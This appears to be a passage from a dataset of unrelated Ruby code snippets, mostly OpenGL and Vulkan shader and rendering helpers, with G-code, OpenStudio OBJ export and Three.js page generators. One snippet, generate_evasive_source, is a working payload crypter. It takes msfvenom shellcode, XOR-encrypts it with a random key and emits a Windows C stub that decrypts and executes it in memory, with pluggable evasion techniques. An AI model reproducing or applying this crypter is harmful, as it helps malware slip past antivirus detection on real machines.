mvp]\n end", "def initialize\n\t\t@id = glCreateProgram\n\t\t@shaders = []\n\t\t@linked = false\n\tend", "def link_shaders\n @program = glCreateProgram\n @data[:shaders].values.each do |_shader|\n glAttachShader(@program, _shader)\n end\n glLinkProgram(@program)\n\n buffer = \" \"\n glGetProgramiv(@program, GL_LINK_STATUS, buffer)\n linked = buffer.unpack1(\"L\")\n\n if linked == 0\n log = \" \" * @error_buffer_size\n glGetProgramInfoLog(@program, @error_buffer_size, nil, log)\n puts \"Shader Error: Program \\\"#{@name}\\\"\"\n puts \" Program InfoLog:\", \" #{log.strip.split(\"\\n\").join(\"\\n \")}\\n\\n\"\n end\n\n @compiled = !(linked == 0)\n end", "def add_fragment_shader name\n\t\traise 'O programa já está linkado, não é possível adicionar mais shaders' if @linked\n\t\t\n\t\tfile = File.open \"shaders/#{name}.frag\"\n\t\tsource = file.read\n\t\tfile.close\n\t\t\n\t\tshader = glCreateShader GL_FRAGMENT_SHADER\n\t\tglShaderSource shader, 1, [source.cptr].pack(\"L\").cptr, 0\n\t\tglCompileShader shader\n\t\t\n\t\tinfo_log_length = [0].pack(\"L\")\n\t\tglGetShaderiv shader, GL_INFO_LOG_LENGTH, info_log_length.cptr\n\t\tinfo_log_length = info_log_length.unpack(\"L\")[0]\n\t\t\n\t\tif info_log_length > 0\n\t\t\terr = \"\\0\" * (info_log_length + 1)\n\t\t\tglGetShaderInfoLog shader, info_log_length, 0, err.cptr\n\n\t\t\tunless err.include? \"No errors\"\n\t\t\t\traise \"Falha ao compilar shader de fragmento `#{name}`: #{err}\"\n\t\t\tend\n\t\tend\n\t\t\n\t\tglAttachShader @id, shader\n\t\t\n\t\t@shaders << shader\n\tend", "def create_shader(shader_type, file_name)\n\t\tshader_id = GL20.gl_create_shader(shader_type)\n\t\tshader_file = File.new File.expand_path(\"../../glsl/#{file_name}\", __FILE__)\n\n\t\tGL20.gl_shader_source(shader_id, shader_file.read)\n\t\tGL20.gl_compile_shader(shader_id)\n\n\t\tputs file_name, GL20.gl_get_shader_info_log(shader_id, 200)\n\n\t\tshader_id\n\tend", "def compile_shader(type:)\n _compiled = false\n _shader = @data[:shaders][type]\n raise ArgumentError, \"No shader for #{type.inspect}\" unless _shader\n\n glCompileShader(_shader)\n buffer = \" \"\n glGetShaderiv(_shader, GL_COMPILE_STATUS, buffer)\n compiled = buffer.unpack1(\"L\")\n\n if compiled == 0\n log = \" \" * @error_buffer_size\n glGetShaderInfoLog(_shader, @error_buffer_size, nil, log)\n puts \"Shader Error: Program \\\"#{@name}\\\"\"\n puts \" #{type.to_s.capitalize} Shader InfoLog:\", \" #{log.strip.split(\"\\n\").join(\"\\n \")}\\n\\n\"\n puts \" Shader Compiled status: #{compiled}\"\n puts \" NOTE: assignment of uniforms in shaders is illegal!\"\n puts\n else\n _compiled = true\n end\n\n _compiled\n end", "def create_shader(type:, source:)\n _shader = nil\n\n case type\n when :vertex\n _shader = glCreateShader(GL_VERTEX_SHADER)\n when :fragment\n _shader = glCreateShader(GL_FRAGMENT_SHADER)\n else\n raise ArgumentError, \"Unsupported shader type: #{type.inspect}\"\n end\n\n processed_source = preprocess_source(source: source)\n\n _source = [processed_source].pack(\"p\")\n _size = [processed_source.length].pack(\"I\")\n glShaderSource(_shader, 1, _source, _size)\n\n @data[:shaders][type] = _shader\n end", "def stop\n Shader.active_shader = nil if Shader.active_shader == self\n glUseProgram(0)\n end", "def generate_evasive_source(evasion_stack)\n source = \"tmp/bin\"+self.uuid+\".c\"\n specified_techniques = evasion_stack.split(\";\")\n\n # Create EvasionTechnique objects for each specified technique.\n techniques = Array.new(specified_techniques.count)\n specified_techniques.each_index do |i|\n techniques[i] = EvasionTechnique.new(specified_techniques[i])\n end\n\n\n\n # Initialize initial program stub on on which to build the generated source.\n stub_impl = \"\n void translate(char* k){\n dbuf = malloc(BUFFER_LENGTH);\n\n int i, n;\n i = 0; n = 0;\n\n for(i = 0; i < BUFFER_LENGTH; i++)\n dbuf[i] = buf[i];\n\n for(n = 0; n < strlen(k); n++){\n for(i = 0; i < BUFFER_LENGTH; i++){\n dbuf[i] = dbuf[i] ^ k[(n+k[n]+i) % strlen(k)];\n }\n }\n }\n\n void run(){\n int (*func)();\n func = (int (*)()) dbuf;\n (int)(*func)();\n free(dbuf);\n }\n\n \"\n\n # Initialize program component lists/queues/stacks\n includes_list = [\"stdio.h\", \"stdlib.h\", \"string.h\", \"Windows.h\"]\n dyn_definitions = []\n # Queue of code execution prefix stubs\n dyn_exec_prefixes = ['int main(int argc, char** argv){\n HANDLE t_file;\n DWORD t_temporary;\n\n LPCVOID t_content = \"Status: tag log created\";\n\n t_file = CreateFile(\"C:/Documents and Settings/honey/My Documents/ids_taglog.txt\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n WriteFile(t_file, t_content, strlen((const char*) t_content), &t_temporary, NULL);\n ']\n dyn_exec =\n ' \n translate(ivk);\n run();\n '\n # Stack of code execution postfix stubs\n dyn_exec_postfixes = [\" }\"]\n\n # Populate program component lists/queues/stacks\n techniques.each do |t|\n t.includes().each do |i|\n if includes_list.include?(i) == false\n includes_list.concat([i])\n end\n end\n dyn_definitions.concat([t.definitions()])\n dyn_exec_prefixes.concat([t.exec_prefix()])\n dyn_exec_postfixes.unshift t.exec_postfix()\n end\n\n # Flesh out program stub using the populated program components.\n includes = \"\"\n includes_list.each do |i|\n includes << '#include <'+i+ \">\\n\"\n end\n includes << \"\\n\"\n\n dyn_definitions.each do |d|\n stub_impl << d\n end\n stub_impl << \"\\n\"\n\n dyn_exec_prefixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n stub_impl << dyn_exec\n dyn_exec_postfixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n # Copy and parse hex dump from msfvenom-generated C file\n buf_found = false\n hex_string = \"\"\n\n file = File.open(source, \"r\")\n\n file.each do |line|\n # Dump will start with 'unsigned char buf[] ='\n if not buf_found\n if line.index(\"unsigned char buf[]\") == 0\n buf_found = true\n end\n else\n # Strip quotes, newlines, etc\n line.delete! '\"'\n line.delete! '\\n'\n line.delete! \"\\n\"\n line.delete! '\\\\'\n line.delete! 'x'\n # Stop once a semicolon is reached\n if line.index(\";\") != nil\n line.delete! ';'\n hex_string += line\n break\n else\n hex_string += line\n end\n end\n end\n\n file.close\n\n # Convert to binary string\n payload_code = hex_to_bin(hex_string)\n\n # Generate random string to use as the key\n key = rand(36**rand(10...25)).to_s(36)\n\n # Encrypt binary string with key\n encrypted_code = cipher(payload_code.bytes.to_a, key.bytes.to_a)\n encrypted_code_hex = bin_to_hex(encrypted_code.pack(\"c*\"))\n\n # Format C String\n encrypted_code_hex = encrypted_code_hex.gsub(/(.{2})/, '\\\\x\\1')\n # Split formatted C String into lines.\n lines = encrypted_code_hex.scan(/.{1,#{60}}/)\n\n # Write evasive source to file\n file = File.open(\"tmp/evasive\"+self.uuid+\".c\", 'w')\n \n file.puts includes\n file.puts '#define BUFFER_LENGTH '+\"#{encrypted_code.count}\"\n file.puts \"unsigned char ivk[] = \\\"\"+key+\"\\\";\"\n file.puts \"unsigned char buf[] = \"\n lines.each_index do |i|\n if i < lines.count - 1\n file.puts '\"'+lines[i]+'\"'\n else\n file.puts '\"'+lines[i]+'\";'\n end\n end\n file.puts \"unsigned char* dbuf;\";\n file.puts stub_impl\n \n file.close\n\n print_status(\"Evasive source successfully generated.\")\n\n end", "def myinit\r\n GL.ShadeModel (GL::FLAT);\r\n\r\n base = GL.GenLists(128);\r\n GL.ListBase(base);\r\n GL.NewList(base+'A'[0], GL::COMPILE); drawLetter(Adata); GL.EndList();\r\n GL.NewList(base+'E'[0], GL::COMPILE); drawLetter(Edata); GL.EndList();\r\n GL.NewList(base+'P'[0], GL::COMPILE); drawLetter(Pdata); GL.EndList();\r\n GL.NewList(base+'R'[0], GL::COMPILE); drawLetter(Rdata); GL.EndList();\r\n GL.NewList(base+'S'[0], GL::COMPILE); drawLetter(Sdata); GL.EndList();\r\n GL.NewList(base+' '[0], GL::COMPILE); GL.Translate(8.0, 0.0, 0.0); GL.EndList();\r\nend", "def init\n GL.ClearColor(0.0, 0.1, 0.2, 0.0)\n GL.ShadeModel(GL::SMOOTH)\n\n GL.Enable(GL::LIGHTING)\n GL.Enable(GL::LIGHT0)\n GL.Enable(GL::BLEND)\n GL.Enable(GL::NORMALIZE)\n\n GL::DepthFunc(GL::LESS);\n GL::ShadeModel(GL::SMOOTH);\n GL::BlendFunc(GL::ONE, GL::ONE)\n\n lm_ambient = [ 0.2, 0.2, 0.2, 0.0 ];\n\n GL.Light(GL::LIGHT0, GL::POSITION, [4, 4, 4])\n GL.Light(GL::LIGHT0, GL::POSITION, [-2, 6, 3])\n #GL::LightModel(GL::LIGHT_MODEL_AMBIENT, lm_ambient);\n GL::LightModel(GL::LIGHT_MODEL_TWO_SIDE, 2);\n\n $ruby = RubyRuby.new\n GL::NewList($rubyList, GL::COMPILE)\n $ruby.render\n GL::EndList()\nend", "def precompile_assets=(_arg0); end", "def flamegraph_mode=(_arg0); end", "def generate(name, glsl, typeInfo)\n # Merge type information for all argument lists a function might\n # have.\n minParam, paramTypes = mergeParameterLists(typeInfo.parameterLists)\n\n # Assemble type annotations for the closure compile.\n paramtypestr = []\n paramstr = []\n (0...minParam).each do |i|\n paramtypestr << \" * @param {!(#{paramTypes[i].toClosure})} arg#{i}\\n * Function argument #{i}.\"\n paramstr << \"arg#{i}\"\n end\n (minParam...paramTypes.size).each do |i|\n paramtypestr << \" * @param {!(#{paramTypes[i].toClosure})=} arg#{i}\\n * Function argument #{i}.\"\n paramstr << \"arg#{i}\"\n end\n annotations = paramtypestr.join(\"\\n\")\n\n return <<EOF\n\n/**\n * Create expression for GLSL function '#{glsl}'.\n *\n#{annotations}\n * @return {!embedsl.Expression} Created expression.\n */\nembedsl.lang.#{name} = (function() {\n var cached = #{typeInfo.toEsl};\n return function(#{paramstr.join(\",\\n \")}) {\n var args = Array.prototype.slice.call(arguments);\n return new embedsl.Expression(\n embedsl.Kind.BUILTIN, cached, '#{name}', '#{glsl}', args);\n };\n})();\nEOF\nend", "def setup\n OpenGL.reset_flags\n end", "def glsl_version\n OpenGL.glsl_version\n end", "def glShaderSource(shader, sources)\n ary_len = (source_array = sources.kind_of?(Array)) ? sources.length : 1\n\n lengths = GL.__boxed_type__(:gl_sizei)[ary_len]\n pointers = GL.__boxed_type__(:intptr_t)[ary_len]\n\n begin\n assign_block = -> (src, index) do\n lengths[index].name = src.bytesize\n pointers[index].name = Fiddle::Pointer[src].to_i\n end\n\n if source_array\n sources.each_with_index(&assign_block)\n else\n assign_block[sources, 0]\n end\n\n glShaderSource__(shader, ary_len, pointers.address, lengths.address)\n\n ensure\n lengths.free!\n pointers.free!\n end\n\n self\n end", "def draw_ambient\n \n end", "def ident; glLoadIdentity; end", "def initialize(vk, viewport: { }, scissor: { })\n @vk = vk\n @shader_stages = []\n @layouts = []\n @constant_ranges = []\n @descriptors = []\n @input = {\n topology: :triangles,\n primitive_restart: false\n }\n @viewport = {\n left: 0,\n top: 0,\n width: 640,\n height: 480,\n min_depth: 0,\n max_depth: 1\n }.merge(viewport)\n @scissor = {\n left: 0,\n top: 0,\n width: 0xffffffff,\n height: 0xffffffff\n }.merge(scissor)\n @rasterizer = {\n depth_clamp: false,\n discard_all: false,\n polygon_mode: :fill,\n line_width: 1.0,\n cull_mode: :back,\n front_face: :counter_clockwise,\n depth_bias: false,\n depth_bias_clamp: 0,\n depth_bias_constant: 0,\n depth_bias_slope: 0\n }\n @multisampling = {\n sample_shading: false,\n samples: 1,\n min_sample_shading: 0.2,\n sample_mask: nil,\n alpha_to_coverage: false,\n alpha_to_one: false\n }\n @blending = {\n enabled: true,\n color_writes: [ :red, :green, :blue, :alpha ],\n src_color: :src_alpha,\n dst_color: :one_minus_src_alpha,\n src_alpha: :one,\n dst_alpha: :zero,\n color_op: :add,\n alpha_op: :add\n }\n @binding_descriptions = []\n @attribute_descriptions = []\n @dynamic_states = []\n @specialization_constants = {}\n end", "def shader_files_exist?(vertex:, fragment:)\n File.exist?(vertex) && File.exist?(fragment)\n end", "def gl(z=nil, &custom_gl_code); end", "def process(code, context)\n compiler = Verneuil::Compiler.new\n program = compiler.compile(code)\n # p program\n Verneuil::Process.new(program, context)\nend", "def draw_stages(vao, indices_offset: 0)\n raise \"Invalid VAO\" unless vao && vao.name != 0\n\n GL.glActiveTexture(GL::GL_TEXTURE0)\n Texture.preserve_binding(GL::GL_TEXTURE_2D) do\n vao.bind do\n @stages.each do |stage|\n # GUI.assert_nonzero_gl_binding(GL::GL_CURRENT_PROGRAM)\n\n texture = stage.texture\n\n offset = indices_offset + stage.base_face * 2\n\n if texture\n texture.bind(GL::GL_TEXTURE_2D)\n diff_loc = @request_uniform_cb.call(:diffuse)\n GL.glUniform1i(diff_loc, 0)\n end\n\n next unless stage.faces > 0\n\n GL.glDrawElementsBaseVertex(\n GL::GL_TRIANGLES,\n stage.faces * 3,\n GL::GL_UNSIGNED_SHORT,\n offset,\n stage.base_vertex\n )\n end\n end\n end\n end", "def initialize(viewport, picture)\r\n super(viewport)\r\n self.shader = Shader.create(:full_shader)\r\n @picture = picture\r\n @gif_handle = nil\r\n update\r\n end", "def parallax_blend(id, v)\n $game_map.parallaxes[id].blend_type = v\n end", "def rerender\n GL::NewList($rubyList, GL::COMPILE)\n $ruby.render\n GL::EndList()\n GLUT.PostRedisplay\nend", "def start_vertex_normal\n end", "def probe_ship_gen(probe_count, probe_array)\n text = \"\"\n probe_count.times.with_index do |v|\n temp = (\"a\"..\"zz\").to_a[v]\n text += \"var author_probe_#{temp} = new Ship({\n material: new THREE.SpriteMaterial({map: probe_texture, color: 0xffffff, fog: true}),\n dis_at_end: true,\n name: \\\"author_probe_#{temp}\\\"\n});\nscene.add(author_probe_#{temp}.spr);\nauthor_probe_#{temp}.spr.visible = false;\nprobes[probes.length] = author_probe_#{temp};\nauthor_probe_#{temp}.spr.scale.set(2,2,2);\\n\\n\"\n probe_array.push(\"author_probe_#{temp}\")\n end\n return text\nend", "def flamegraph_mode; end", "def program\n @compile\n end", "def generate_gcode_plasma\r\n # if PSUpgrader.upgrade\r\n # UI.messagebox(\"GCode generation has been aborted due to the upgrade\")\r\n # return\r\n # end\r\n\r\n # swarfer: need these so that all aMill calls are given the right numbers, aMill should be unaware of defaults\r\n # by doing this we can have Z0 on the table surface, or at top of material\r\n @tabletop = PhlatScript.tabletop?\r\n\r\n if @tabletop\r\n @safeHeight = PhlatScript.materialThickness + PhlatScript.safeTravel.to_f\r\n @materialTop = PhlatScript.materialThickness\r\n # ZL = material thickness(MT)\r\n # cut = ZL - (cutfactor * MT)\r\n # safe = ZL+SH {- safe height is safe margin above material\r\n @zL = PhlatScript.materialThickness\r\n else\r\n @safeHeight = PhlatScript.safeTravel.to_f\r\n @materialTop = 0\r\n @zL = 0\r\n # Mat Zero : ZL = 0\r\n # cut = ZL - (cf * MT)\r\n # safe = ZL + SH {- safeheight is mt + some safety margin\r\n end\r\n @rampangle = PhlatScript.rampangle.to_f\r\n @must_ramp = PhlatScript.mustramp?\r\n\r\n puts(\" safeheight '#{@safeHeight.to_mm}'\\n\")\r\n puts(\" materialTop '#{@materialTop.to_mm}'\\n\")\r\n puts(\" ZL '#{@zL.to_mm}'\\n\")\r\n puts(\" tabletop '#{@tabletop}'\\n\")\r\n puts(\" rampangle '#{@rampangle}'\\n\") if @must_ramp\r\n\r\n @g_save_point = Geom::Point3d.new(0, 0, 0)\r\n model = Sketchup.active_model\r\n if enter_file_dialog(model)\r\n # first get the material thickness from the model dictionary\r\n material_thickness = PhlatScript.materialThickness\r\n if material_thickness\r\n\r\n begin\r\n output_directory_name = model.get_attribute Dict_name, Dict_output_directory_name, $phoptions.default_directory_name\r\n output_file_name = model.get_attribute Dict_name, Dict_output_file_name, $phoptions.default_file_name\r\n # @current_bit_diameter = model.get_attribute Dict_name, Dict_bit_diameter, Default_bit_diameter\r\n @current_bit_diameter = PhlatScript.bitDiameter\r\n\r\n # TODO: check for existing / on the end of output_directory_name\r\n absolute_File_name = output_directory_name + output_file_name\r\n\r\n safe_array = P.get_safe_array\r\n min_x = 0.0\r\n min_y = 0.0\r\n max_x = safe_array[2]\r\n max_y = safe_array[3]\r\n safe_area_points = P.get_safe_area_point3d_array\r\n\r\n min_max_array = [min_x, max_x, min_y, max_y, $phoptions.min_z, $phoptions.max_z]\r\n # aMill = CNCMill.new(nil, nil, absolute_File_name, min_max_array)\r\n aMill = PhlatMill.new(absolute_File_name, min_max_array)\r\n\r\n aMill.set_bit_diam(@current_bit_diameter)\r\n aMill.set_retract_depth(@safeHeight, @tabletop) # tell amill the retract height, for table zero ops\r\n\r\n # puts(\"starting aMill absolute_File_name=\"+absolute_File_name)\r\n ext = if @tabletop\r\n 'Z ZERO IS TABLETOP'\r\n else\r\n '-'\r\n end\r\n aMill.job_start(@optimize, @debug, ext)\r\n # puts \"amill jobstart done\"\r\n loop_root = LoopNodeFromEntities(Sketchup.active_model.active_entities, aMill, material_thickness)\r\n loop_root.sort\r\n millLoopNode(aMill, loop_root, material_thickness)\r\n\r\n # puts(\"done milling\")\r\n if PhlatScript.UseOutfeed?\r\n aMill.retract(@safeHeight)\r\n aMill.cncPrintC('Outfeed')\r\n aMill.move(PhlatScript.safeWidth * 0.75, 0)\r\n else\r\n if PhlatScript.UseEndPosition?\r\n height = if $phoptions.use_home_height?\r\n $phoptions.default_home_height\r\n else\r\n @safeHeight\r\n end\r\n aMill.retract(@safeHeight) # forces cmd_rapid\r\n aMill.cncPrintC('EndPosition')\r\n aMill.move(PhlatScript.end_x, PhlatScript.end_y, height, 100, 'G0')\r\n else\r\n # retracts the milling head and and then moves it home.\r\n # This prevents accidental milling\r\n # through your work piece when moving home.\r\n aMill.home\r\n end\r\n end\r\n if PhlatScript.useOverheadGantry?\r\n # if ($phoptions.use_home_height? != nil)\r\n if $phoptions.use_home_height?\r\n aMill.retract($phoptions.default_home_height)\r\n end\r\n # end\r\n end\r\n\r\n # puts(\"finishing up\")\r\n aMill.job_finish # output housekeeping code\r\n rescue\r\n UI.messagebox 'GcodeUtil.generate_gcode failed; Error:' + $ERROR_INFO\r\n end\r\n else\r\n UI.messagebox(PhlatScript.getString('You must define the material thickness.'))\r\n end\r\n end\r\n end", "def myinit\r\n position = [0.0, 3.0, 3.0, 0.0];\r\n local_view = [0.0];\r\n\r\n GL.Enable(GL::DEPTH_TEST);\r\n GL.DepthFunc(GL::LESS);\r\n\r\n GL.Light(GL::LIGHT0, GL::POSITION, position);\r\n GL.LightModel(GL::LIGHT_MODEL_LOCAL_VIEWER, local_view);\r\n\r\n GL.FrontFace(GL::CW);\r\n GL.Enable(GL::LIGHTING);\r\n GL.Enable(GL::LIGHT0);\r\n GL.Enable(GL::AUTO_NORMAL);\r\n GL.Enable(GL::NORMALIZE);\r\n GL.Enable(GL::FOG);\r\n fogColor = [0.5, 0.5, 0.5, 1.0];\r\n\r\n fogMode = GL::EXP;\r\n GL.Fog(GL::FOG_MODE, fogMode);\r\n GL.Fog(GL::FOG_COLOR, fogColor);\r\n GL.Fog(GL::FOG_DENSITY, 0.35);\r\n GL.Hint(GL::FOG_HINT, GL::DONT_CARE);\r\n GL.ClearColor(0.5, 0.5, 0.5, 1.0);\r\nend", "def gl_shading_language_version\n glGetString(GL_SHADING_LANGUAGE_VERSION)\n end", "def assets=(_arg0); end", "def assets=(_arg0); end", "def assets=(_arg0); end", "def init_vertex_buffers\n\t\t#vao_id = GL30.gl_gen_vertex_arrays\n\t\t#GL30.gl_bind_vertex_array(vao_id)\n\n\t\t@buffer_id = GL15.gl_gen_buffers\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, @buffer_id)\n\n\t\tfloat_buffer = BufferUtils.create_float_buffer(@vertex_positions.size)\n\t\tfloat_buffer.put(@vertex_positions.to_java(:float))\n\n\t\t#MUST FLIP THE BUFFER! THIS PUTS IT BACK TO THE BEGINNING!\n\t\tfloat_buffer.flip\n\n\t\tGL15.gl_buffer_data(GL15::GL_ARRAY_BUFFER, float_buffer, GL15::GL_STATIC_DRAW)\n\n\t\t# cleanup\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, 0)\n\t\t#GL30.gl_bind_vertex_array(0)\n\tend", "def precompiled_assets(clear_cache = T.unsafe(nil)); end", "def precompiled_assets(clear_cache = T.unsafe(nil)); end", "def generate(name, symbol, typeInfo)\n ptl = typeInfo.parameterLists[0]\n return <<EOF\n\n/**\n * Create expression for GLSL operator '#{symbol}'.\n *\n#{ptl.toClosureAnnotation}\n * @return {!embedsl.Expression} Created expression.\n */\nembedsl.lang.#{name} = (function() {\n var cached = #{typeInfo.toEsl};\n return function(#{ptl.toParameterList}) {\n var args = Array.prototype.slice.call(arguments);\n return new embedsl.Expression(\n embedsl.Kind.OPERATOR, cached, '#{name}', '#{symbol}', args);\n };\n})();\nEOF\nend", "def glprim type = GL::TRIANGLES\r\n GL.Begin type\r\n begin\r\n yield\r\n ensure\r\n GL.End\r\n end\r\nend", "def render_in_background args\n # pool table\n args.outputs.solids << [args.state.tableleft, args.state.tablebottom, args.state.table_width, args.state.table_height, 0, 150, 0, 180]\n\n # pockets\n args.state.pockets.each do |pocket|\n args.outputs.sprites << [pocket[0], pocket[1], pocket[2], pocket[3], pocket[4], 0, 180]\n end\nend", "def init\n mat_specular = [ 1.0, 1.0, 1.0, 1.0 ];\n light_position = [ 1.0, 1.0, 1.0, 0.0 ];\n\n GL.ClearColor(0.0, 0.0, 0.0, 0.0);\n GL.ShadeModel(GL::SMOOTH);\n GL.Enable(GL::DEPTH_TEST);\n GL.Material(GL::FRONT, GL::DIFFUSE, $diffuseMaterial);\n GL.Material(GL::FRONT, GL::SPECULAR, mat_specular);\n GL.Material(GL::FRONT, GL::SHININESS, 25.0);\n GL.Light(GL::LIGHT0, GL::POSITION, light_position);\n GL.Enable(GL::LIGHTING);\n GL.Enable(GL::LIGHT0);\n\n GL.ColorMaterial(GL::FRONT, GL::DIFFUSE);\n GL.Enable(GL::COLOR_MATERIAL);\nend", "def uniform _args\n \"uniform _args;\" \n end", "def program() @program end", "def gl_shading_language_version()\n glGetString(GL_SHADING_LANGUAGE_VERSION)\n end", "def cameraEffect _obj, _args\n \"_obj cameraEffect _args;\" \n end", "def ppEffectCreate _args\n \"ppEffectCreate _args;\" \n end", "def compile_program(program)\n @compile_counter = 0\n program.each_line do |line| \n self.compile_line(line) \n end\n end", "def html_start (title)\n debug = true\n return \"<html>\n<head>\n<title>#{title}</title>\n<style>canvas { width: 100%; height: 100% }</style>\n</head>\n<body>\n#{(debug)? \"<div id=\\\"debug\\\"></div>\" : \"\"}\n<input type=\\\"button\\\" id=\\\"ppbutton\\\" onClick=\\\"pause_or_unpause()\\\" value=\\\"Play\\\"></input>\n<input type=\\\"range\\\" id=\\\"speedslider\\\" onChange=\\\"update_speed()\\\" max=7 defaultValue=3></input>\n<input type=\\\"text\\\" disabled=\\\"true\\\" id=\\\"speedtext\\\"></input>\n<input type=\\\"button\\\" id=\\\"resetb\\\" onClick=\\\"restart()\\\" value=\\\"Restart\\\"></input>\n<script src=\\\"js/three.min.js\\\"></script>\n<script src=\\\"js/OrbitControls.js\\\"></script>\n<script src=\\\"js/Galaxy.js\\\"></script>\n<script>\n#{(debug)? \"var debug = function(text) {\n document.getElementById(\\\"debug\\\").innerHTML += text;\n document.getElementById(\\\"debug\\\").innerHTML += \\\"<br>\\\";\n};\" : \"\"}\n\nvar scene = new THREE.Scene(); \nvar renderer = new THREE.WebGLRenderer(); \nrenderer.setSize(window.innerWidth*0.95, window.innerHeight*0.95); \ndocument.body.appendChild(renderer.domElement); \nvar planet_texture = THREE.ImageUtils.loadTexture('textures/planet.jpg');\nvar star_texture = THREE.ImageUtils.loadTexture('textures/star.jpg');\nvar trade_texture = THREE.ImageUtils.loadTexture('textures/trade_ship.png');\nvar author_texture = THREE.ImageUtils.loadTexture('textures/author_ufo.png');\nvar probe_texture = THREE.ImageUtils.loadTexture('textures/probe_ufo.png');\nvar celestials = [];\nvar authors = [];\nvar probes = [];\\n\\n\n\nvar t = 0;\nvar speed_val = 0;\nvar speed_base = Math.PI/360;\nTIME_INTERVAL *= speed_base;\\n\\n\"\nend", "def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n # use the built-in error checking\r\n if !runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n z = OpenStudio::Vector.new(3)\r\n z[0] = 0\r\n z[1] = 0\r\n z[2] = 1\r\n \r\n allVertices = []\r\n objVertices = \"\"\r\n objFaces = \"\"\r\n allMaterials = []\r\n\r\n # all planar surfaces\r\n model.getPlanarSurfaces.each do |surface|\r\n\r\n # handle sub surfaces later\r\n next if !surface.to_SubSurface.empty?\r\n \r\n surfaceID = getSurfaceID(surface)\r\n allMaterials << getMaterial(surface)\r\n \r\n surfaceVertices = surface.vertices\r\n t = OpenStudio::Transformation::alignFace(surfaceVertices)\r\n r = t.rotationMatrix\r\n tInv = t.inverse\r\n \r\n siteTransformation = OpenStudio::Transformation.new\r\n planarSurfaceGroup = surface.planarSurfaceGroup\r\n if not planarSurfaceGroup.empty?\r\n siteTransformation = planarSurfaceGroup.get.siteTransformation\r\n end\r\n \r\n surfaceVertices = tInv*surfaceVertices\r\n \r\n subSurfaces = []\r\n subSurfaceVertices = OpenStudio::Point3dVectorVector.new\r\n if !surface.to_Surface.empty?\r\n subSurfaces = surface.to_Surface.get.subSurfaces\r\n subSurfaces.each do |subSurface|\r\n subSurfaceVertices << tInv*subSurface.vertices\r\n end\r\n end\r\n\r\n triangles = OpenStudio::computeTriangulation(surfaceVertices, subSurfaceVertices)\r\n if triangles.empty?\r\n runner.registerWarning(\"Failed to triangulate #{surface.iddObject.name} #{surface.name} with #{subSurfaces.size} sub surfaces\")\r\n end\r\n \r\n objFaces += \"##{surface.name}\\n\"\r\n objFaces += \"g #{surface.name}\\n\"\r\n objFaces += \"usemtl #{surfaceID}\\n\"\r\n triangles.each do |vertices|\r\n vertices = siteTransformation*t*vertices\r\n normal = siteTransformation.rotationMatrix*r*z\r\n\r\n indices = []\r\n vertices.each do |vertex|\r\n indices << getVertexIndex(vertex, allVertices)\r\n end\r\n \r\n #objFaces += \" usemtl #{surfaceID}\\n\"\r\n objFaces += \" f #{indices.join(' ')}\\n\"\r\n end\r\n \r\n # now do subSurfaces\r\n subSurfaces.each do |subSurface|\r\n \r\n subSurfaceID = getSurfaceID(subSurface)\r\n allMaterials << getMaterial(subSurface)\r\n \r\n subSurfaceVertices = tInv*subSurface.vertices\r\n triangles = OpenStudio::computeTriangulation(subSurfaceVertices, OpenStudio::Point3dVectorVector.new)\r\n\r\n objFaces += \"##{subSurface.name}\\n\"\r\n objFaces += \"g #{subSurface.name}\\n\"\r\n objFaces += \"usemtl #{subSurfaceID}\\n\"\r\n triangles.each do |vertices|\r\n vertices = siteTransformation*t*vertices\r\n normal = siteTransformation.rotationMatrix*r*z\r\n\r\n indices = []\r\n vertices.each do |vertex|\r\n indices << getVertexIndex(vertex, allVertices) \r\n end \r\n #objFaces += \" usemtl #{subSurfaceID}\\n\"\r\n objFaces += \" f #{indices.join(' ')}\\n\"\r\n end\r\n end\r\n end\r\n \r\n if objFaces.empty?\r\n runner.registerError(\"Model is empty, no output will be written\")\r\n return false\r\n end\r\n\r\n # write object file\r\n obj_out_path = \"./output.obj\"\r\n File.open(obj_out_path, 'w') do |file|\r\n\r\n file << \"# OpenStudio OBJ Export\\n\\n\"\r\n file << \"mtllib surface_type.mtl\\n\"\r\n file << \"#mtllib boundary_color.mtl\\n\\n\"\r\n file << \"# Vertices\\n\"\r\n allVertices.each do |v|\r\n file << \"v #{v.x} #{v.z} #{-v.y}\\n\"\r\n end\r\n file << \"\\n\"\r\n file << \"# Faces\\n\"\r\n file << objFaces\r\n \r\n # make sure data is written to the disk one way or the other \r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n \r\n # write material files\r\n mtl_out_path = \"./surface_type.mtl\"\r\n File.open(mtl_out_path, 'w') do |file|\r\n\r\n file << \"# OpenStudio Surface Type MTL Export\\n\"\r\n allMaterials.each do |material|\r\n r = material[:surface_type_color][0]/255.to_f\r\n g = material[:surface_type_color][1]/255.to_f\r\n b = material[:surface_type_color][2]/255.to_f\r\n a = material[:surface_type_color][3]\r\n file << \"newmtl #{material[:surfaceID]}\\n\"\r\n file << \" Ka #{r} #{g} #{b}\\n\"\r\n file << \" Kd #{r} #{g} #{b}\\n\"\r\n file << \" Ks #{r} #{g} #{b}\\n\"\r\n file << \" Ns 0.0\\n\"\r\n file << \" d #{a}\\n\" # some implementations use 'd' others use 'Tr'\r\n end\r\n \r\n # make sure data is written to the disk one way or the other \r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n \r\n mtl_out_path = \"./boundary_color.mtl\"\r\n File.open(mtl_out_path, 'w') do |file|\r\n\r\n file << \"# OpenStudio Surface Type MTL Export\\n\"\r\n allMaterials.each do |material|\r\n r = material[:boundary_color][0]/255.to_f\r\n g = material[:boundary_color][1]/255.to_f\r\n b = material[:boundary_color][2]/255.to_f\r\n a = material[:boundary_color][3]\r\n file << \"newmtl #{material[:surfaceID]}\\n\"\r\n file << \" Ka #{r} #{g} #{b}\\n\"\r\n file << \" Kd #{r} #{g} #{b}\\n\"\r\n file << \" Ks #{r} #{g} #{b}\\n\"\r\n file << \" Ns 0.0\\n\"\r\n file << \" d #{a}\\n\" # some implementations use 'd' others use 'Tr'\r\n 